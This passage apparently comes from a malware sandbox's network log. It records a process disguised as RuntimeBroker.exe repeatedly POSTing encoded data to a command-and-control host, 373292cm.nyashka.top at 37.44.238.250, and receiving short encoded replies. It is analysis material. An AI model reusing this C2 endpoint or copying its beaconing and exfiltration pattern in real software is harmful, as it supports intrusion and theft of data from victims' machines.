Jan 11, 2025 06:44:19.395277023 CET	1872	OUT	Data Raw: 5f 51 5c 50 51 43 51 5a 5b 5f 5a 51 59 54 58 5e 57 5e 5d 52 57 5a 53 5e 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _Q\PQCQZ[_ZQYTX^W^]RWZS^\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-;3?!45]*?._?'"<0#!V(04^;>&F$.Y/)
Jan 11, 2025 06:44:19.690864086 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:19.822074890 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0c 3d 35 0c 5c 32 38 3c 55 24 0a 2e 1d 29 5b 20 03 3e 03 2a 01 27 5e 21 5e 26 10 33 0d 24 15 26 05 2b 58 39 0b 25 06 30 01 2d 24 2b 5d 0c 13 21 04 23 2a 3a 11 31 3f 20 11 29 16 2c 07 36 02 21 01 28 03 21 54 28 06 3b 01 3c 17 09 11 3f 04 2a 1e 2c 01 26 06 2e 1e 29 08 34 14 2b 52 0d 11 24 55 3f 3e 39 54 28 2e 38 01 36 38 30 01 27 13 32 1d 24 32 39 0d 24 07 02 1f 26 0c 3d 51 24 21 07 51 26 05 2e 12 31 3f 26 09 36 18 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %=5\28<U$.)[ >'^!^&3$&+X9%0-$+]!#:1? ),6!(!T(;<?*,&.)4+R$U?>9T(.8680'2$29$&=Q$!Q&.1?&6#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	57111	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:19.165081024 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:19.520464897 CET	2544	OUT	Data Raw: 5f 57 5c 53 54 45 54 5e 5b 5f 5a 51 59 53 58 55 57 50 5d 5e 57 59 53 5a 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _W\STET^[_ZQYSXUWP]^WYSZ\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-8'C#-" %)+<-+=;[7?41?(< 0;>&F$.Y/5
Jan 11, 2025 06:44:19.797525883 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:19.931071997 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	57112	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:20.055349112 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:44:20.410913944 CET	2544	OUT	Data Raw: 5f 56 5c 5f 54 48 51 5e 5b 5f 5a 51 59 51 58 50 57 5d 5d 5e 57 5d 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _V\_THQ^[_ZQYQXPW]]^W]S\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S./#?"-$] ),Y>>!_<> /W#"$<: 3";>&F$.Y/=
Jan 11, 2025 06:44:20.693500042 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:20.824189901 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	57113	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:20.953166962 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:21.306843042 CET	2536	OUT	Data Raw: 5a 52 59 52 51 42 51 59 5b 5f 5a 51 59 57 58 51 57 50 5d 58 57 5e 53 54 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZRYRQBQY[_ZQYWXQWP]XW^ST\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.X;00#>( +-+>](=[ '7W8P*9 7 8&F$.Y/=
Jan 11, 2025 06:44:21.581645966 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:21.710410118 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	57114	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:21.839039087 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:22.192125082 CET	2544	OUT	Data Raw: 5a 51 5c 57 54 49 51 59 5b 5f 5a 51 59 5f 58 5f 57 51 5d 5f 57 5d 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZQ\WTIQY[_ZQY_X_WQ]_W]SY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.;">;40==\+>\?>7\"/<#,?*<439\..&F$.Y/
Jan 11, 2025 06:44:22.496242046 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:22.668924093 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	57115	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:22.788189888 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:23.145566940 CET	2544	OUT	Data Raw: 5f 55 5c 56 54 49 54 5c 5b 5f 5a 51 59 52 58 57 57 5a 5d 5c 57 58 53 58 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _U\VTIT\[_ZQYRXWWZ]\WXSX\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-80$5=?4*)[(^<X!_(-47?3 10+?" _,&F$.Y/1
Jan 11, 2025 06:44:23.417514086 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:23.550510883 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	57116	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:23.683778048 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:24.038718939 CET	2536	OUT	Data Raw: 5a 55 5c 5e 54 42 54 5b 5b 5f 5a 51 59 57 58 5f 57 5f 5d 52 57 5c 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZU\^TBT[[_ZQYWX_W_]RW\SY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-; 6.#"0!X*=3<?=# !!V<(#,&F$.Y/
Jan 11, 2025 06:44:24.315583944 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:24.442516088 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	57117	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:24.571412086 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	57118	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:24.839361906 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:25.192234039 CET	1852	OUT	Data Raw: 5f 50 59 57 54 47 54 5c 5b 5f 5a 51 59 52 58 52 57 5f 5d 59 57 5c 53 5a 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _PYWTGT\[_ZQYRXRW_]YW\SZ\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-,3(5<# =)=(X<=)\(#"?? 13+)# 0!8&F$.Y/1
Jan 11, 2025 06:44:25.487061024 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:25.618439913 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0e 29 1b 0f 04 26 5d 2f 09 24 33 3a 54 2a 13 2b 5f 2a 3d 32 00 33 3b 3d 15 32 2d 20 54 24 3b 07 58 3f 58 25 08 26 3f 2b 1e 39 34 2b 5d 0c 13 21 06 23 5c 39 05 25 02 28 10 2a 16 0d 16 35 2c 22 59 3f 39 32 08 3e 2c 38 5a 3c 00 24 05 2b 39 36 56 2f 28 29 17 39 09 32 1e 20 04 2b 52 0d 11 24 53 2b 3e 3d 53 2a 10 30 04 36 28 27 5b 27 3d 08 13 26 1c 32 56 27 3a 3c 11 25 0b 21 51 27 0f 29 55 26 3b 31 07 32 01 08 0c 36 32 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %)&]/$3:T+_=23;=2- T$;X?X%&?+94+]!#\9%(5,"Y?92>,8Z<$+96V/()92 +R$S+>=S06('['=&2V':<%!Q')U&;1262#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	57119	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:24.963880062 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:25.317275047 CET	2544	OUT	Data Raw: 5f 51 5c 57 51 42 54 5c 5b 5f 5a 51 59 56 58 57 57 58 5d 5d 57 5b 53 54 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _Q\WQBT\[_ZQYVXWWX]]W[ST\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S./006>$]##>=+=>?=#Z#,3Q4! +_8 0\..&F$.Y/!
Jan 11, 2025 06:44:25.597065926 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:25.764413118 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	57120	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:25.899003029 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:44:26.254726887 CET	2544	OUT	Data Raw: 5f 50 5c 51 51 47 54 5d 5b 5f 5a 51 59 55 58 55 57 59 5d 59 57 5f 53 54 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _P\QQGT][_ZQYUXUWY]YW_ST\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.. <#-4)[(+>&+;"?442 *)3 X;&F$.Y/-
Jan 11, 2025 06:44:26.530780077 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:26.659113884 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	57121	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:26.932179928 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:27.287386894 CET	2544	OUT	Data Raw: 5f 56 5c 53 54 42 54 5a 5b 5f 5a 51 59 56 58 53 57 5b 5d 58 57 58 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _V\STBTZ[_ZQYVXSW[]XWXS\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.X;#3A#> ^40)<]?..?=77< "8<_;"#%/&F$.Y/!
Jan 11, 2025 06:44:27.581326008 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:27.714564085 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	57122	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:27.838284016 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:28.192416906 CET	2544	OUT	Data Raw: 5f 5c 5c 54 54 41 51 5c 5b 5f 5a 51 59 54 58 50 57 58 5d 53 57 5d 53 58 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _\\TTAQ\[_ZQYTXPWX]SW]SX\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.Y/">;41=0]<&<-4#?<#1V*9;\ 05_,.&F$.Y/)
Jan 11, 2025 06:44:28.467413902 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:28.633289099 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	57123	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:28.757225037 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:29.114123106 CET	2544	OUT	Data Raw: 5a 50 59 52 51 40 54 50 5b 5f 5a 51 59 55 58 52 57 5c 5d 5a 57 50 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZPYRQ@TP[_ZQYUXRW\]ZWPS[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-; ;E!=$4V*+=<-!Z?>'X#0!1W+:$ #!,&F$.Y/-
Jan 11, 2025 06:44:29.390260935 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:29.526284933 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	57124	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:29.712022066 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:30.067970991 CET	2536	OUT	Data Raw: 5a 57 5c 57 54 47 51 5e 5b 5f 5a 51 59 57 58 50 57 5f 5d 5a 57 5d 53 54 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZW\WTGQ^[_ZQYWXPW_]ZW]ST\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.\,$5[+ 0=*>4_<-5?[?Z /R4"/?(" 8&F$.Y/
Jan 11, 2025 06:44:30.347610950 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:30.476257086 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	57126	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:30.604166031 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:30.957801104 CET	2536	OUT	Data Raw: 5a 55 59 54 54 40 54 5b 5b 5f 5a 51 59 57 58 54 57 59 5d 5c 57 5a 53 5e 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZUYTT@T[[_ZQYWXTWY]\WZS^\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S._,U85(\#0=?==](.47,4!$?<"3&;&F$.Y/)
